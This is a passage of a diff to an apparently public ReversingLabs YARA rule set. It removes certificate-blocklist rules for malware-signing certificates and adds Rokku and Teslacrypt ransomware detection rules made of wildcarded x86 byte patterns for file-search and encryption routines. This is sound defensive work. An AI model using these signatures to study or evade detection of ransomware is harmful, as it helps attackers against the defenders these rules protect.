"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "775e41fc102cbaeb9374984380b0e073de2a0075b9a200f8ab644bd1369ba015" + logic_hash = "fefb342f8a9afac3b40c343b830f334225ff4198d55504846aa855acf5dfc9ba" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Rokku" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Kometa" and pe.signatures [ i ] . serial == "4b:83:59:3f:c7:8d:92:cf:aa:9b:df:3f:97:38:39:64" and 1579996800 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_C7505E7464E00Ec1Dccd8D1B466D15Ff : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "a75cc09f-de73-5db4-9ace-189e8da99053" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3616-L3634" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7c5c84cb9071eff6a1bd7062506b807466bb4a432d1ed073961898c6c08cc4bd" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 8B E9 C7 44 24 ?? ?? ?? ?? ?? 33 DB 89 6C 24 ?? + 56 0F 57 C0 66 C7 44 24 ?? ?? ?? 57 66 0F 13 44 24 ?? B2 ?? 88 5C 24 ?? 8B CB 8A C1 + 02 C2 30 44 0C ?? 41 83 F9 ?? 73 ?? 8A 54 24 ?? EB ?? 8B CD 88 5C 24 ?? E8 ?? ?? ?? + ?? 8D 54 24 ?? 8B C8 E8 ?? ?? ?? ?? 85 C0 75 ?? 40 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 51 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B D6 E8 ?? ?? ?? ?? 59 56 BE + ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 4C 24 ?? 6A + ?? 8B D5 E8 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B C1 8B 94 24 ?? ?? ?? ?? 0B C2 0F 84 ?? + ?? ?? ?? 6A ?? 5D 3B D3 77 ?? 81 F9 ?? ?? ?? ?? 76 ?? 2B CD 1B D3 52 51 55 8D 4C 24 + ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C5 0F 85 ?? ?? ?? ?? 8B CD 8B C3 8A 90 ?? ?? ?? ?? 49 + 8A B0 ?? ?? ?? ?? 3A D6 75 ?? 40 85 C9 75 ?? 8B CB EB ?? 0F B6 C6 0F B6 CA 2B C8 85 + C9 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 8B D6 50 B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 19 41 83 E8 ?? 75 ?? + 8B 6C 24 ?? 8B 7C 24 ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 2B C7 1B CD 3B EB + } + $encrypt_files_p2 = { + 7C ?? 7F ?? 81 FF ?? ?? ?? ?? 72 ?? 8B AC 24 ?? ?? ?? ?? 0F 57 C0 8B BC 24 ?? ?? ?? + ?? 8B 4C 24 ?? 55 57 66 0F 13 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 59 59 8B 4C 24 ?? + 3B CB 77 ?? 3B C3 77 ?? 8B F3 EB ?? 3B CB 77 ?? 72 ?? 3D ?? ?? ?? ?? 72 ?? B8 ?? ?? + ?? ?? 55 57 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 88 ?? ?? ?? ?? 74 + ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 56 50 8B D0 E8 ?? ?? ?? ?? 55 57 56 BA ?? ?? ?? ?? + 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? 99 03 F8 13 EA E9 ?? ?? + ?? ?? 6A ?? 58 89 1D ?? ?? ?? ?? 83 E8 ?? 75 ?? 8B C7 89 1D ?? ?? ?? ?? 0B C5 BE ?? + ?? ?? ?? 74 ?? 51 8D 54 24 ?? E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 3B F1 74 ?? 56 51 BA + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 55 57 BD ?? ?? ?? ?? 8B D1 55 8D 4C 24 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? EB ?? BD ?? ?? ?? ?? 6A ?? 59 8B C1 BA ?? + ?? ?? ?? C6 02 ?? 42 83 E8 ?? 75 ?? B8 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 6A ?? + 58 B9 ?? ?? ?? ?? C6 01 ?? 41 83 E8 ?? 75 ?? C6 06 ?? 46 83 ED ?? 75 ?? 6A ?? 8D 44 + 24 ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? B1 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? 8B C3 30 4C 04 ?? 40 83 F8 ?? 73 ?? 8A 4C 24 ?? EB ?? 8B 4C 24 ?? 8D 54 24 ?? + 88 5C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B D6 E8 ?? + ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 33 DB 43 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B C3 EB ?? 8D 4C + 24 ?? E8 ?? ?? ?? ?? 33 C0 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_files_p3 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 55 56 57 6A ?? 5E 56 BF ?? ?? ?? ?? 57 FF 15 + ?? ?? ?? ?? 51 BB ?? ?? ?? ?? BD ?? ?? ?? ?? 8B D3 8B CD E8 ?? ?? ?? ?? 59 56 57 FF + 15 ?? ?? ?? ?? 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6 C6 07 ?? 47 + 83 E8 ?? 75 ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? 53 8B CF E8 ?? ?? ?? ?? 59 6A ?? 58 C6 + 03 ?? 43 83 E8 ?? 75 ?? B9 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 3B E9 74 ?? 55 51 8B D6 + E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50 51 8B D6 E8 ?? + ?? ?? ?? 83 C4 ?? 6A ?? 5B 53 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? B9 ?? ?? + ?? ?? 50 51 8B D3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ?? + 51 50 6A ?? 5A 8B C8 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74 + ?? 50 51 8B D6 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50 + 51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6A ?? 5B 3B C1 74 + ?? 50 51 8B D3 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74 ?? 50 + 51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8B D7 50 8D 4C 24 ?? E8 ?? ?? ?? ?? + 59 BA ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 59 59 83 64 24 ?? ?? 83 EB ?? + 75 ?? 21 9C 24 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? 8B C6 C6 + 45 ?? ?? 45 83 E8 ?? 75 ?? C6 07 ?? 47 83 EE ?? 75 ?? 33 C0 5F 40 5E 5D 5B 8B E5 5D + C3 + } + $find_files_p1 = { + 55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 8B F0 66 C7 45 ?? ?? ?? 33 DB 89 35 + ?? ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? + ?? 66 C7 45 ?? ?? ?? 02 C8 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? 88 + 5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D ?? + 32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + 66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? + 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 + C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44 + 05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 + 6A ?? 33 C9 C7 45 ?? ?? ?? ?? ?? 5B B0 ?? 88 5D ?? 32 C3 88 4D ?? 88 45 ?? 8B C1 C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 88 4D ?? 80 44 05 ?? ?? 40 83 F8 ?? 72 ?? 8B + 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 6A ?? 88 5D ?? B2 ?? 66 C7 45 + ?? ?? ?? 33 C9 66 C7 45 ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 5B 8D + 04 0A 30 44 0D ?? 41 3B CB 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 33 C9 C6 45 ?? ?? 58 34 ?? 88 4D ?? 88 45 + } + $find_files_p2 = { + B2 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D 04 0A 30 44 0D + ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? C6 45 ?? + ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 80 F3 ?? C6 45 ?? ?? 88 5D ?? 8D 55 ?? + 33 DB C6 45 ?? ?? 50 88 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 59 59 6A ?? 58 34 ?? C6 45 ?? ?? 88 45 ?? B2 ?? 88 5D ?? 8B CB C7 45 ?? ?? ?? ?? + ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? + 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? + 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44 05 ?? ?? + 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? B0 ?? C6 45 + ?? ?? 34 ?? 88 5D ?? 59 88 45 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A + 4D ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 0F 28 05 + ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? 8A + 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? + E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3 + } + $find_folders = { + 55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 DB 8B F0 66 + C7 45 ?? ?? ?? 89 35 ?? ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8D 45 ?? + 88 5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D + ?? 32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 66 C7 45 ?? ?? ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 + ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45 + ?? ?? ?? ?? ?? 88 45 ?? B2 ?? C7 45 ?? ?? ?? ?? ?? 8B CB 66 C7 45 ?? ?? ?? 88 5D ?? + 8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 + 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45 ?? ?? + ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 80 44 05 ?? + ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 66 C7 + 45 ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 80 44 + 05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 + 66 C7 45 ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 66 C7 45 ?? ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8B 0D ?? ?? + ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? B2 ?? C7 45 + ?? ?? ?? ?? ?? 8B CB C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D + 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D + 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ltd. \"Eve Beauty\"" and ( pe.signatures [ i ] . serial == "00:c7:50:5e:74:64:e0:0e:c1:dc:cd:8d:1b:46:6d:15:ff" or pe.signatures [ i ] . serial == "c7:50:5e:74:64:e0:0e:c1:dc:cd:8d:1b:46:6d:15:ff" ) and 1583824676 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_folders and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Cbf91988Fb83511De1B3A7A520712E9C : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Teslacrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Teslacrypt ransomware." author = "ReversingLabs" - id = "d2d71058-f7b9-594f-b099-75aa4774306f" - date = "2020-08-05" - modified = "2023-11-08" + id = "842dae76-573c-564d-b658-ccdda451df21" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3636-L3654" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Teslacrypt.yara#L1-L665" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5862a8ec43d2e545f36b815ada2bb31c4384a8161c6956a31f3bd517532923fd" + logic_hash = "cc054be68d833d9f29a4ebd1c202922881b0d22a2605edc7def1048dc08f6325" score = 75 - quality = 90 - tags = "INFO, FILE" + quality = 65 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Teslacrypt" importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ltd. \"Eve Beauty\"" and ( pe.signatures [ i ] . serial == "00:cb:f9:19:88:fb:83:51:1d:e1:b3:a7:a5:20:71:2e:9c" or pe.signatures [ i ] . serial == "cb:f9:19:88:fb:83:51:1d:e1:b3:a7:a5:20:71:2e:9c" ) and 1578786662 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_Ce3675Ae4Abfe688870Bcacb63060F4F : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "586c9de9-e1b0-5d17-9783-c9e18dfdf463" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3656-L3674" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0c6f2ef55bef283a3f915fd8c1ced27c3c665f7f490caeea0f180c2d7fa2b2b5" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $file_search_0_3_1_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 55 56 8B B4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 6A ?? 50 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? + 51 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 B5 01 00 00 53 8B 1D ?? ?? ?? ?? 57 8B BC 24 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? + 83 3D ?? ?? ?? ?? ?? 0F 85 89 01 00 00 F6 44 24 ?? ?? 0F 84 D2 00 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 + 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 + 29 01 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 8D 49 ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 + C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 EA 00 00 00 56 8D 94 24 ?? ?? ?? ?? 68 + } + $file_search_0_3_1_2 = { + 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 7E FE FF FF 83 C4 ?? E9 93 00 00 00 56 8D 8C 24 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 44 24 ?? + 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? + 85 FF 74 25 85 C0 75 35 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 23 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? EB + 11 85 C0 74 10 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 55 FF D3 85 C0 74 0D 83 3D ?? ?? ?? ?? ?? + 0F 84 6A FE FF FF 55 FF 15 ?? ?? ?? ?? 5F 5B 8B 8C 24 ?? ?? ?? ?? 5E 5D 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $file_search_0_3_3_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 55 56 8B B4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 6A ?? 50 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? + 51 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 57 02 00 00 53 8B 1D ?? ?? ?? ?? 57 8B BC 24 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? + 83 3D ?? ?? ?? ?? ?? 0F 85 2B 02 00 00 F6 44 24 ?? ?? 0F 84 74 01 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 + 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 + CB 01 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 8D 49 ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 + C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 8C 01 00 00 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 52 E8 ?? ?? ?? ?? 8B C6 83 C4 ?? 8D 50 ?? 8B FF 66 8B 08 83 C0 ?? 66 85 C9 75 F5 2B C2 D1 F8 83 F8 ?? 76 1A 68 ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 + } + $file_search_0_3_3_2 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 + ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 E8 00 00 00 8D 8C 24 ?? ?? ?? ?? B8 ?? + ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB + 05 1B C0 83 D8 ?? 85 C0 0F 84 A9 00 00 00 8D 84 24 ?? ?? ?? ?? 57 50 E8 DC FD FF FF 83 C4 ?? E9 93 00 00 00 56 8D 8C 24 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 44 + 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 85 FF 74 25 85 C0 75 35 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 23 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? + ?? EB 11 85 C0 74 10 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 55 FF D3 85 C0 74 0D 83 3D ?? ?? ?? + ?? ?? 0F 84 C8 FD FF FF 55 FF 15 ?? ?? ?? ?? 5F 5B 8B 8C 24 ?? ?? ?? ?? 5E 5D 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $file_search_0_3_4a_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 55 56 8B B4 24 ?? ?? ?? ?? 57 33 FF 68 ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? 57 50 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 57 51 66 89 BC + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F + 84 99 02 00 00 8B BC 24 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 76 02 00 00 F6 44 24 ?? ?? 0F 84 6B + 01 00 00 8D 44 24 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 38 02 00 00 8D 4C 24 ?? 51 68 ?? ?? ?? ?? E8 + ?? ?? ?? 